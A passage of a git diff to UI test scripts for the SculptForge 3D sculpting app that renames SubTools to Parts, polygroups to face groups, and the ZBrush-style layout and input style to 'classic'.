expect_status Split into 2 Parts
shot split-groups
click "Parts/Merge visible..."
click "Merge Visible?/Merge"
-expect_value subtools == 1
+expect_value parts == 1
expect "Parts/Merged"
click "Parts/Split parts"
-expect_value subtools == 3
+expect_value parts == 3
expect_status Split into 3 Parts
shot split-parts
-# The Tool palette's SubTool sub-palette closes and opens.
-click "Parts##tool.subtool"
+# The Tool palette's Part sub-palette closes and opens.
+click "Parts##tool.part"
expect_not "Parts/Append"
-click "Parts##tool.subtool"
+click "Parts##tool.part"
expect "Parts/Append"
-# Wireframe, polygroup colours and the LOD preview are for the active SubTool only.
+# Wireframe, face group colours and the LOD preview are for the active Part only.
key shift+f
expect_value wireframe == 1
click "Face Groups"
@@ -165,12 +165,12 @@ click "Export"
click "Generate LOD chain"
shot lod-preview
click "Game Ready/Sculpt"
-click "Parts##tool.subtool"
+click "Parts##tool.part"
-# Past six SubTools the list scrolls; clicks scroll it like a person would.
-run subtool_append ; subtool_append ; subtool_append ; subtool_append
-expect_value subtools == 7
-expect_value active_subtool == 6
+# Past six Parts the list scrolls; clicks scroll it like a person would.
+run part_append ; part_append ; part_append ; part_append
+expect_value parts == 7
+expect_value active_part == 6
shot many
click "Parts/Merged 1"
-expect_value active_subtool == 0
+expect_value active_part == 0
diff --git a/tests/ui/parts_files.sfui b/tests/ui/parts_files.sfui
new file mode 100644
index 00000000..2872393b
--- /dev/null
+++ b/tests/ui/parts_files.sfui
@@ -0,0 +1,38 @@
+# Parts survive files: build a scene in the UI, save a project, reopen it, and round-trip GLB / OBJ.
+# Files are written to the working directory (the build folder under ctest).
+run new_sphere subdivisions=4
+click "Parts/Append"
+click "Cube"
+click "Parts/Append"
+click "Sphere"
+expect_value parts == 3
+double_click "Parts/Sphere 2"
+type "##rename" Eye
+key enter
+expect_text Eye
+click "Parts/Cube"
+stroke 0.4 0.4 0.6 0.6
+expect_value edited_parts == 1
+click "Parts/##eye Eye"
+expect_value visible_parts == 2
+shot before-save
+
+run save_project path=sf_ui_parts.sfproj
+run new_sphere subdivisions=2
+expect_value parts == 1
+run open path=sf_ui_parts.sfproj
+expect_value parts == 3
+expect_value visible_parts == 2
+expect_value active_part == 1
+expect_value dirty == 0
+expect_text Eye
+shot reopened
+
+# Exports carry the visible Parts only; opening the export gives them back as Parts.
+run export_glb path=sf_ui_parts.glb
+run open path=sf_ui_parts.glb
+expect_value parts == 2
+run save_obj path=sf_ui_parts.obj
+run open path=sf_ui_parts.obj
+expect_value parts == 2
+shot obj-reopened
diff --git a/tests/ui/pbr_channels.sfui b/tests/ui/pbr_channels.sfui
index af21ce6e..0e3ca59d 100644
--- a/tests/ui/pbr_channels.sfui
+++ b/tests/ui/pbr_channels.sfui
@@ -1,7 +1,7 @@
# Material channels (PBR texture painting): Texture Map turns channels on, the Color palette's Material section
# sets what the brush paints per channel, Paint Layers rows get channel chips, C picks every channel, and the
# view can show one channel on its own.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=4
run uv_auto resolution=1024
run texture_create size=1024
diff --git a/tests/ui/pbr_viewport.sfui b/tests/ui/pbr_viewport.sfui
index 3e55f2ff..4b0ae617 100644
--- a/tests/ui/pbr_viewport.sfui
+++ b/tests/ui/pbr_viewport.sfui
@@ -2,7 +2,7 @@
# CC0 HDRIs), exposure, tone map and the environment behind the model. The texture's material channels are uploaded
# as ORM, normal and emissive planes; a painted height shows through tangent-space normals. Settings are saved with
# the project. Files are written to the working directory (the build folder).
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=5
run uv_auto resolution=1024
run texture_create size=1024
diff --git a/tests/ui/pen_navigation.sfui b/tests/ui/pen_navigation.sfui
index f8e8b429..01d295f3 100644
--- a/tests/ui/pen_navigation.sfui
+++ b/tests/ui/pen_navigation.sfui
@@ -2,7 +2,7 @@
# input styles. Some tablet drivers (a Ugee pen on X11, Windows Ink) send stray mouse events at an old position
# between the pen's; SDL keeps one cursor position for both, so its relative motion jumped back and forth and the
# view only shook. With the stray events the view must move exactly as without them.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=4
snapshot
diff --git a/tests/ui/pen_windows_ink.sfui b/tests/ui/pen_windows_ink.sfui
index 8df632b7..3c5cb008 100644
--- a/tests/ui/pen_windows_ink.sfui
+++ b/tests/ui/pen_windows_ink.sfui
@@ -2,7 +2,7 @@
# of their own beside the pen's, at an old position. The UI must follow only the pen, like the canvas does: pen taps
# on menus and buttons work (with the small jitter of a real tap), dragging the Move button pans by the pen's own
# movement, the S slider can be dragged with the pen, and Alt+pen drag pans as far as without the stray events.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=4
snapshot
diff --git a/tests/ui/performance.sfui b/tests/ui/performance.sfui
index f35442d9..a2598df2 100644
--- a/tests/ui/performance.sfui
+++ b/tests/ui/performance.sfui
@@ -1,7 +1,7 @@
# Preferences > Performance: antialiasing, Fast Navigation (a big scene draws without antialiasing while the view
# moves; the threshold is lowered here so a small sphere counts as big), multithreading, what the last stroke cost
# per dab, and memory. Strokes give the same result with multithreading off.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=6
click "Preferences##palette.preferences"
click "Performance##preferences.performance"
diff --git a/tests/ui/phone_link.sfui b/tests/ui/phone_link.sfui
index 50a5d26e..4e7db0c7 100644
--- a/tests/ui/phone_link.sfui
+++ b/tests/ui/phone_link.sfui
@@ -2,7 +2,7 @@
# window and its QR code, a scan, a photo and a splat .ply uploaded into the Captures inbox (each upload loses a
# chunk and resumes), View in AR (the model exported for the phone, then again after a stroke), and the live face
# feed with a recorded take. Port 0: any free port, so tests can run side by side.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
env SCULPTFORGE_LINK_PORT 0
run new_sphere subdivisions=4
@@ -51,10 +51,10 @@ expect_status "Only 2 usable photos"
phone_upload ply data/phone/scan_splat.ply
wait 0.3
expect_value splats == 400
-expect_value subtools == 1
+expect_value parts == 1
# View in AR: the phone asks, the model is exported for it (USDZ and GLB), and a stroke re-exports it.
-phone_request POST /api/ar 200 {"scope":"subtool","size":20}
+phone_request POST /api/ar 200 {"scope":"part","size":20}
wait 0.1
wait_idle 120
expect_value phone_ar_version == 1
diff --git a/tests/ui/precision.sfui b/tests/ui/precision.sfui
index 031509c5..a44a4f13 100644
--- a/tests/ui/precision.sfui
+++ b/tests/ui/precision.sfui
@@ -1,7 +1,7 @@
# Precision work (Precision.cpp, core/Precision.h): Steady Stroke with every stroke type (L) and its catch-up on
# release, World Size across zoom levels, the fine size keys (Shift+[ / Shift+]) and Ctrl+Shift+right-drag, sizes
# down to 0.5 px, the precision drag (Shift+Alt mid-stroke) in every input style, and a pressure curve per brush.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=5
input_style sculptforge
@@ -263,7 +263,7 @@ drag_path 0.6 0.5 0.7 0.5 0.8 0.5 0.9 0.5 keep
expect_value precision_active == 0
release
key ctrl+z
-input_style zbrush
+input_style classic
drag_path 0.25 0.5 0.35 0.5 keep
hold shift+alt
drag_path 0.35 0.5 0.6 0.5 keep
diff --git a/tests/ui/qremesh_guides.sfui b/tests/ui/qremesh_guides.sfui
index d45ad88b..63cd7a44 100644
--- a/tests/ui/qremesh_guides.sfui
+++ b/tests/ui/qremesh_guides.sfui
@@ -1,4 +1,4 @@
-# QRemesh Guides (ZBrush's ZRemesher Guides brush): draw a loop round an "eye" on a sphere with X symmetry (it is
+# QRemesh Guides (QRemesh Guides brush): draw a loop round an "eye" on a sphere with X symmetry (it is
# mirrored), an open curve across the middle (its own mirror image, so kept once), Delete Last, Alt+click a curve to
# delete it, then QRemesh follows the loops: an edge loop round each eye. Guides are saved with the project.
run new_sphere subdivisions=6
@@ -40,7 +40,7 @@ expect_value qremesh_guides == 2
# Alt+click on a curve deletes it with its mirror; the background still navigates.
hold alt
-click_subtool Sphere 0.79 0.38
+click_part Sphere 0.79 0.38
hold none
expect_value qremesh_guides == 0
expect_status "deleted"
diff --git a/tests/ui/qremesh_symmetry.sfui b/tests/ui/qremesh_symmetry.sfui
index 93969dad..7ae68300 100644
--- a/tests/ui/qremesh_symmetry.sfui
+++ b/tests/ui/qremesh_symmetry.sfui
@@ -30,8 +30,8 @@ shot offcentre-symmetry-polyf
click "Wire##view.polyf"
# A small separate piece beside it: not symmetric any more, so no mirroring; both pieces come out as quads.
-run subtool_append type=sphere size=0.12
-run subtool_merge_visible
+run part_append type=sphere size=0.12
+run part_merge_visible
remember triangles merged_tris
click "QRemesh/Quad Remesh"
wait_idle 120
diff --git a/tests/ui/quick_tools.sfui b/tests/ui/quick_tools.sfui
index f97ce56d..83e61239 100644
--- a/tests/ui/quick_tools.sfui
+++ b/tests/ui/quick_tools.sfui
@@ -1,5 +1,5 @@
# #43: the axis gizmo snaps to side views, Undo / Redo on the right shelf, Continuous in the left shelf's
-# stroke picker, the mask shown and hidden without clearing it, Insert mirrored by symmetry, SubTool thumbnails.
+# stroke picker, the mask shown and hidden without clearing it, Insert mirrored by symmetry, Part thumbnails.
run new_sphere subdivisions=4
key f
@@ -74,9 +74,9 @@ key ctrl+z
expect_value triangles == $base
key escape
-# SubTool thumbnails: each row shows its SubTool, rendered from the GPU mesh.
+# Part thumbnails: each row shows its Part, rendered from the GPU mesh.
click "Parts/Append"
click "Cube"
-expect_value subtools == 2
-wait_value subtool_thumbnails == 2 10
-shot subtool_thumbnails
+expect_value parts == 2
+wait_value part_thumbnails == 2 10
+shot part_thumbnails
diff --git a/tests/ui/radial_buttons.sfui b/tests/ui/radial_buttons.sfui
index a48f5605..480936de 100644
--- a/tests/ui/radial_buttons.sfui
+++ b/tests/ui/radial_buttons.sfui
@@ -1,7 +1,7 @@
# Radial menus on mouse buttons (#74): a plain press of the button opens the pie; with a modifier held the button
# keeps its navigation (Alt+middle pans). A menu on the right button opens on a plain right-drag, while Alt+right
-# still zooms in the Maya style and Shift+right still turns the view in the ZBrush style.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+# still zooms in the Maya style and Shift+right still turns the view in the classic.
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=4
# The middle button (sculpting.json): a plain press opens the pie, a right flick runs Inflate.
@@ -31,7 +31,7 @@ expect_value brush_type == 7
expect_value camera_yaw >= $yaw0-0.0001
expect_value camera_yaw <= $yaw0+0.0001
-# ZBrush style: Shift+right-drag still turns the view (the way to orbit while the right button opens the pie).
+# classic: Shift+right-drag still turns the view (the way to orbit while the right button opens the pie).
hold shift
button_drag right 0.5 0.5 0.62 0.5 0.3
hold none
@@ -55,7 +55,7 @@ button_drag right 0.5 0.5 0.57 0.5 0.3
expect_value radial_open == 0
expect_value brush_type == 4
-# Back to the ZBrush style for later tests.
+# Back to the classic for later tests.
click "Preferences##palette.preferences"
-click "Classic sculpting keys##input.style_zbrush"
+click "Classic sculpting keys##input.style_classic"
key escape
diff --git a/tests/ui/radial_menu.sfui b/tests/ui/radial_menu.sfui
index 767d21fd..0dd0e68e 100644
--- a/tests/ui/radial_menu.sfui
+++ b/tests/ui/radial_menu.sfui
@@ -1,10 +1,10 @@
# Radial (pie) menus (#45). Three built in: Brushes on T, Masking on Y and Strokes on J (U13: the stroke types on
-# one ring, as 3D-Coat's stroke pop-up), keys no other action has in any input style. Hold the key, flick toward an item, let go: it runs. Let go in the middle after a moment: nothing. Tap
+# one ring), keys no other action has in any input style. Hold the key, flick toward an item, let go: it runs. Let go in the middle after a moment: nothing. Tap
# the key: the pie stays open; a click on an item runs it, a click in the middle or Esc closes it, and the click
# never reaches the model. A pen or mouse button set on a menu does the same as its key. Preferences > Input >
# Radial Menus: a new menu, an item picked with the palette's search, a key; import and export of one menu (only
# known actions are kept).
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=3
camera 0 0
expect_value radial_menus == 3
@@ -184,7 +184,7 @@ click "Blender##input.style_blender"
expect_value shortcut_conflicts == 0
click "Maya##input.style_maya"
expect_value shortcut_conflicts == 0
-click "Classic sculpting keys##input.style_zbrush"
+click "Classic sculpting keys##input.style_classic"
expect_value shortcut_conflicts == 0
key escape
diff --git a/tests/ui/radial_symmetry.sfui b/tests/ui/radial_symmetry.sfui
index 551cd9f4..88a249d9 100644
--- a/tests/ui/radial_symmetry.sfui
+++ b/tests/ui/radial_symmetry.sfui
@@ -1,7 +1,7 @@
# Radial and local symmetry (#63): the R toggle on the top shelf and in Transform > Symmetry, Radial Count and the
# axis, every copy's brush cursor, strokes that land on every copy, mask rectangles that follow them, projects
# that keep the settings, and Local about the Part's own centre.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=5
key f
expect_value symmetry_radial == 0
diff --git a/tests/ui/retopo.sfui b/tests/ui/retopo.sfui
index 5125a0ff..4845f553 100644
--- a/tests/ui/retopo.sfui
+++ b/tests/ui/retopo.sfui
@@ -1,7 +1,7 @@
-# Quad retopology and detail projection: Geometry > QRemesh (ZBrush's ZRemesher) rebuilds a sculpted sphere as
-# clean quads in the background, keeping the original as a hidden SubTool; after dividing the retopo twice,
-# SubTool > Project > ProjectAll brings the sculpted detail back.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+# Quad retopology and detail projection: Geometry > QRemesh (QRemesh) rebuilds a sculpted sphere as
+# clean quads in the background, keeping the original as a hidden Part; after dividing the retopo twice,
+# Part > Project > ProjectAll brings the sculpted detail back.
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=6
run stroke points="-0.6,0.35,2 0,0.55,2 0.6,0.35,2" brush=Standard radius=0.16 strength=1
run stroke points="-0.55,-0.35,2 0.55,-0.4,2" brush=Crease radius=0.12 strength=1
@@ -36,8 +36,8 @@ expect_status "100% quads"
expect_value quad_percent == 100
expect_value quads > 2400
expect_value quads < 4400
-expect_value subtools == 2
-expect_value visible_subtools == 1
+expect_value parts == 2
+expect_value visible_parts == 1
click "Wire##view.polyf"
shot qremesh-polyf
click "Wire##view.polyf"
@@ -57,8 +57,8 @@ expect_no_text "Target Polygons 3"
# Divide twice, show the original and project its detail back.
run subdivide levels=2
-run subtool_visibility index=1 visible=true
-click "Parts##tool.subtool"
+run part_visibility index=1 visible=true
+click "Parts##tool.part"
expect "Project/Project All"
hold ctrl
hover "Project/Project All"
@@ -70,7 +70,7 @@ snapshot
click "Project/Project All"
expect_status "vertices projected"
expect_value moved > 20000
-run subtool_visibility index=1 visible=false
+run part_visibility index=1 visible=false
click "Wire##view.polyf"
shot projected-polyf
click "Wire##view.polyf"
@@ -79,8 +79,8 @@ key ctrl+z
expect_value moved == 0
# Cancel: a big target on the sculpt stops part way and leaves it as it was.
-run subtool_select index=1
-run subtool_visibility index=1 visible=true
+run part_select index=1
+run part_visibility index=1 visible=true
click "Geometry##tool.geometry"
click "QRemesh/Keep Original"
click "QRemesh/Same"
diff --git a/tests/ui/right_click_menu.sfui b/tests/ui/right_click_menu.sfui
index fd451f63..0c961bff 100644
--- a/tests/ui/right_click_menu.sfui
+++ b/tests/ui/right_click_menu.sfui
@@ -1,8 +1,8 @@
-# A right click on the canvas opens the QuickMenu under the cursor, as in ZBrush (#22): pressed and let go
+# A right click on the canvas opens the QuickMenu under the cursor (#22): pressed and let go
# without moving more than a few pixels, beside the model or on it, and the view doesn't move. A right drag still
# turns the view and opens nothing. A pen button set to Right click (the lower one, by default) does the same.
# Preferences > Input > Right click opens the QuickMenu turns it off.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=3
camera 0 0
remember camera_yaw y0
diff --git a/tests/ui/sculpt_basics.sfui b/tests/ui/sculpt_basics.sfui
index 33b49695..4a40c932 100644
--- a/tests/ui/sculpt_basics.sfui
+++ b/tests/ui/sculpt_basics.sfui
@@ -1,5 +1,5 @@
-# Core loop on the real UI: sculpt, undo/redo, masking, polygroups, visibility.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+# Core loop on the real UI: sculpt, undo/redo, masking, face groups, visibility.
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=5
expect_value can_undo == 0
click "Clay##brush.clay"
@@ -23,15 +23,15 @@ expect_value masked > 1000
click "Clear##mask"
expect_value masked == 0
-# Polygroups by normals on a cube-ish shape, then hide one with Ctrl+Shift+click.
+# Face groups by normals on a cube-ish shape, then hide one with Ctrl+Shift+click.
run new_sphere subdivisions=1
click "Face Groups"
click "By normals"
expect_value groups > 1
-expect_value show_polygroups == 1 # grouping turns the colours on
-shot polygroups
+expect_value show_facegroups == 1 # grouping turns the colours on
+shot facegroups
click "Show face groups"
-expect_value show_polygroups == 0
+expect_value show_facegroups == 0
click "Visibility"
click "Show all"
expect_value hidden == 0
diff --git a/tests/ui/shell_layout.sfui b/tests/ui/shell_layout.sfui
index 33bc8d5c..eb4b0a17 100644
--- a/tests/ui/shell_layout.sfui
+++ b/tests/ui/shell_layout.sfui
@@ -1,9 +1,9 @@
-# The ZBrush-style shell (docs/ui-design.md §2-3): the canvas framed by shelves, the alphabetical palette bar,
+# The classic shell (docs/ui-design.md §2-3): the canvas framed by shelves, the alphabetical palette bar,
# palettes in drop-downs and trays, the tray dividers, Tab and the layout presets. CMake also runs this script
# at 1920x1080 (ui_shell_layout_1080).
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=4
-expect "Parts/Append" # right tray: the Tool palette with its SubTool sub-palette open
+expect "Parts/Append" # right tray: the Tool palette with its Part sub-palette open
expect_value right_tray == 1
expect_value left_tray == -1
expect "Clay##brush.clay" # bottom shelf: quick brushes
@@ -21,9 +21,9 @@ click "Wire##view.polyf"
expect_value wireframe == 1
click "Wire##view.polyf"
expect_value wireframe == 0
-click "Groups##view.polygroups"
-expect_value show_polygroups == 1
-click "Groups##view.polygroups"
+click "Groups##view.facegroups"
+expect_value show_facegroups == 1
+click "Groups##view.facegroups"
# Tab hides the shelves and trays; the palette bar stays.
key tab
diff --git a/tests/ui/size_keys.sfui b/tests/ui/size_keys.sfui
index 82e616b2..172b599f 100644
--- a/tests/ui/size_keys.sfui
+++ b/tests/ui/size_keys.sfui
@@ -1,4 +1,4 @@
-# S and U change Draw Size and Z Intensity at the cursor in the default (SculptForge) and ZBrush input styles,
+# S and U change Draw Size and Z Intensity at the cursor in the default (SculptForge) and classic input styles,
# also after a click on a panel (askNK's review: "the shortcut keys for brush size and intensity" seemed not to work).
run new_sphere subdivisions=4
@@ -21,7 +21,7 @@ release
expect_value size_popup_open == 0
expect_value z_intensity < $z0
-input_style zbrush
+input_style classic
mouse_move 0.4 0.6
remember draw_size s1
key s
diff --git a/tests/ui/size_popup.sfui b/tests/ui/size_popup.sfui
index 68f2fb69..18b1d188 100644
--- a/tests/ui/size_popup.sfui
+++ b/tests/ui/size_popup.sfui
@@ -1,4 +1,4 @@
-# The S slider (Draw Size; U / I / O work the same) opens with its knob right under the cursor, as in ZBrush, and
+# The S slider (Draw Size; U / I / O work the same) opens with its knob right under the cursor, and
# stays open while it is dragged, until release, a click elsewhere or Esc (#9). CMake runs this script again on a
# window whose UI is scaled 1.5x (ui_size_popup_scaled), like Windows at 150%.
run new_sphere subdivisions=4
diff --git a/tests/ui/space_camera.sfui b/tests/ui/space_camera.sfui
index 60133896..402ca259 100644
--- a/tests/ui/space_camera.sfui
+++ b/tests/ui/space_camera.sfui
@@ -1,9 +1,9 @@
# #43: Preferences > Input > Hold Space and drag to move the camera (off by default: Space opens the QuickMenu).
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=4
key f
-# Off: Space opens the QuickMenu, as in ZBrush.
+# Off: Space opens the QuickMenu.
expect_value space_camera == 0
key space
expect_value quickmenu_open == 1
diff --git a/tests/ui/spacemouse.sfui b/tests/ui/spacemouse.sfui
index 9b8db5cd..d3390759 100644
--- a/tests/ui/spacemouse.sfui
+++ b/tests/ui/spacemouse.sfui
@@ -3,7 +3,7 @@
# a resting cap inside the dead zone does nothing; Preferences > Input > SpaceMouse inverts axes, locks the
# rotation to a turntable and turns it off; the side buttons frame and show the front; a pen stroke held while the
# view turns stays one stroke; unplugging and plugging back in works; every input style.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=4
snapshot
expect_value spacemouse_connected == 0
diff --git a/tests/ui/splat_train.sfui b/tests/ui/splat_train.sfui
index b1cffbf8..55309be8 100644
--- a/tests/ui/splat_train.sfui
+++ b/tests/ui/splat_train.sfui
@@ -2,7 +2,7 @@
# _FFMPEG at tests/tools/fake_splat_tools.cpp, which writes a checkpoint every 250 steps). The capture is the
# synthetic phone capture in tests/data/splat_capture (photos + AR poses). Checks the live preview, orbiting
# while it trains, the progress overlay, Good enough - stop, Cancel, a trainer crash and the Brush prompt.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
env FAKE_BRUSH_MS_PER_EXPORT 150
env FAKE_BRUSH_FAIL_AT -1
copy ../data/splat_capture ui-shots/splat_train/capture
diff --git a/tests/ui/starter_meshes.sfui b/tests/ui/starter_meshes.sfui
index 27a848e2..d7bd4a01 100644
--- a/tests/ui/starter_meshes.sfui
+++ b/tests/ui/starter_meshes.sfui
@@ -5,7 +5,7 @@ run new_plane resolution=8
expect_value triangles == 128
key ,
-expect_value lightbox_open == 1
+expect_value library_open == 1
click "Library/Tool"
expect "Library/Starter meshes"
double_click "Library/Starter meshes"
@@ -18,7 +18,7 @@ shot starter-meshes
double_click "Library/Human Head"
expect_status New Human Head
-expect_value subtools == 1
+expect_value parts == 1
expect_value vertices > 60000
expect_value dirty == 0
@@ -26,7 +26,7 @@ expect_value dirty == 0
hold shift
double_click "Library/Eye"
hold none
-expect_value subtools == 2
+expect_value parts == 2
# ".." goes back to the Tool tab's root.
double_click "Library/.."
@@ -35,4 +35,4 @@ expect "Library/Starter meshes"
# The command scripts and the File menu use.
run new_starter_mesh name=creature-head levels=0
-expect_value subtools == 4
+expect_value parts == 4
diff --git a/tests/ui/stroke_popup.sfui b/tests/ui/stroke_popup.sfui
index c17187c9..ad65007e 100644
--- a/tests/ui/stroke_popup.sfui
+++ b/tests/ui/stroke_popup.sfui
@@ -169,8 +169,8 @@ stroke_popup_item dots click
expect_value stroke_popup_open == 0
expect_value stroke_type == 0
-# The ZBrush style: G too. The Blender style: Z (its G is the Move brush, J the Strokes radial menu).
-input_style zbrush
+# The classic: G too. The Blender style: Z (its G is the Move brush, J the Strokes radial menu).
+input_style classic
expect_shortcut stroke.popup G
expect_value shortcut_conflicts == 0
input_style blender
diff --git a/tests/ui/subtools_files.sfui b/tests/ui/subtools_files.sfui
deleted file mode 100644
index e2467889..00000000
--- a/tests/ui/subtools_files.sfui
+++ /dev/null
@@ -1,38 +0,0 @@
-# SubTools survive files: build a scene in the UI, save a project, reopen it, and round-trip GLB / OBJ.
-# Files are written to the working directory (the build folder under ctest).
-run new_sphere subdivisions=4
-click "Parts/Append"
-click "Cube"
-click "Parts/Append"
-click "Sphere"
-expect_value subtools == 3
-double_click "Parts/Sphere 2"
-type "##rename" Eye
-key enter
-expect_text Eye
-click "Parts/Cube"
-stroke 0.4 0.4 0.6 0.6
-expect_value edited_subtools == 1
-click "Parts/##eye Eye"
-expect_value visible_subtools == 2
-shot before-save
-
-run save_project path=sf_ui_subtools.sfproj
-run new_sphere subdivisions=2
-expect_value subtools == 1
-run open path=sf_ui_subtools.sfproj
-expect_value subtools == 3
-expect_value visible_subtools == 2
-expect_value active_subtool == 1
-expect_value dirty == 0
-expect_text Eye
-shot reopened
-
-# Exports carry the visible SubTools only; opening the export gives them back as SubTools.
-run export_glb path=sf_ui_subtools.glb
-run open path=sf_ui_subtools.glb
-expect_value subtools == 2
-run save_obj path=sf_ui_subtools.obj
-run open path=sf_ui_subtools.obj
-expect_value subtools == 2
-shot obj-reopened
diff --git a/tests/ui/support.sfui b/tests/ui/support.sfui
index d746deb3..196da917 100644
--- a/tests/ui/support.sfui
+++ b/tests/ui/support.sfui
@@ -1,6 +1,6 @@
# Supporting SculptForge: Help > Support SculptForge..., the first-run welcome and the supporters in Help > About.
# Every one only asks for sculptforge.app/support.html (UI tests never start a browser); nothing else changes.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=3
expect_value welcome_open == 0
expect_value support_requests == 0
diff --git a/tests/ui/support_card.sfui b/tests/ui/support_card.sfui
index 25069d73..570c0e78 100644
--- a/tests/ui/support_card.sfui
+++ b/tests/ui/support_card.sfui
@@ -1,7 +1,7 @@
# The support card at launch (Support.h, PanelSupportCard.cpp): shown on the first start, after an update and at
# most once a week; never for a supporter, never in tests. Its buttons only ask for the fixed Stripe links (UI tests
# never start a browser).
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=3
# A UI test is a test-mode start: no card.
expect_value support_card_open == 0
diff --git a/tests/ui/surface_cursor.sfui b/tests/ui/surface_cursor.sfui
index 994d0bdf..3fd7b8a4 100644
--- a/tests/ui/surface_cursor.sfui
+++ b/tests/ui/surface_cursor.sfui
@@ -2,7 +2,7 @@
# surface there (#88: not bent over each bump), at the brush's real size; off the model it is the flat screen ring.
# Symmetry copies show as dots, not rings (#88). Preferences > Cursor: Cursor follows surface (on by default) and
# Hide ring while stroking (off by default), kept by Store Config.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_head
camera 35 10
key f
diff --git a/tests/ui/tablet.sfui b/tests/ui/tablet.sfui
index 5e11a612..b6c48b2f 100644
--- a/tests/ui/tablet.sfui
+++ b/tests/ui/tablet.sfui
@@ -1,7 +1,7 @@
# Graphics tablet with a simulated pen (real SDL3 pen events plus the mouse events SDL synthesizes from them):
# pressure, the global pressure curve, Pressure > Size, the eraser end, side buttons, leaving proximity
# mid-stroke, and Preferences > Tablet.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
wait 0.2
run new_sphere subdivisions=5
snapshot
diff --git a/tests/ui/tablet_hotplug.sfui b/tests/ui/tablet_hotplug.sfui
index 99a1172d..a601c46e 100644
--- a/tests/ui/tablet_hotplug.sfui
+++ b/tests/ui/tablet_hotplug.sfui
@@ -1,6 +1,6 @@
# A Wacom Intuos 3 report (0.10.8): the tablet worked only if plugged in before launch, the camera sometimes went
# wild, pressure was sometimes missing and the active Part changed by itself.
-run ui_look look=classic layout=zbrush
+run ui_look look=classic layout=classic
run new_sphere subdivisions=4
key f
@@ -70,29 +70,29 @@ expect_value camera_pitch == $p1
expect_value stroking == 0
# The active Part: only the keyboard's Alt with a quick click switches it, and the status bar says so.
-run subtool_append type=cube name=Cube
-run subtool_select index=0
+run part_append type=cube name=Cube
+run part_select index=0
key f
# The upper pen button (Invert, as Alt) held while tapping another Part: no switch.
pen_button 2 down
-click_subtool Cube 0.5 0.5 1 pen
+click_part Cube 0.5 0.5 1 pen
pen_button 2 up
-expect_value active_subtool == 0
+expect_value active_part == 0
# Alt held on the keyboard and a long pen press: sculpting, not a click.
hold alt
-click_subtool Cube 0.5 0.5 1 pen 0.8
+click_part Cube 0.5 0.5 1 pen 0.8
hold none
-expect_value active_subtool == 0
+expect_value active_part == 0
# Alt + a pen tap: the Cube, named in the status bar with the shortcut.
hold alt
-click_subtool Cube 0.5 0.5 1 pen
+click_part Cube 0.5 0.5 1 pen
hold none
-expect_value active_subtool == 1
+expect_value active_part == 1
expect_status Active Part: Cube (Alt+click)
# The mouse's Alt+click still works.
-run subtool_select index=0
+run part_select index=0
hold alt
-click_subtool Cube 0.5 0.5
+click_part Cube 0.5 0.5
hold none
-expect_value active_subtool == 1
+expect_value active_part == 1
expect_status (Alt+click)
diff --git a/tests/ui/texture_paint.sfui b/tests/ui/texture_paint.sfui
index eb13097d..89767bb7 100644
--- a/tests/ui/texture_paint.sfui
+++ b/tests/ui/texture_paint.sfui
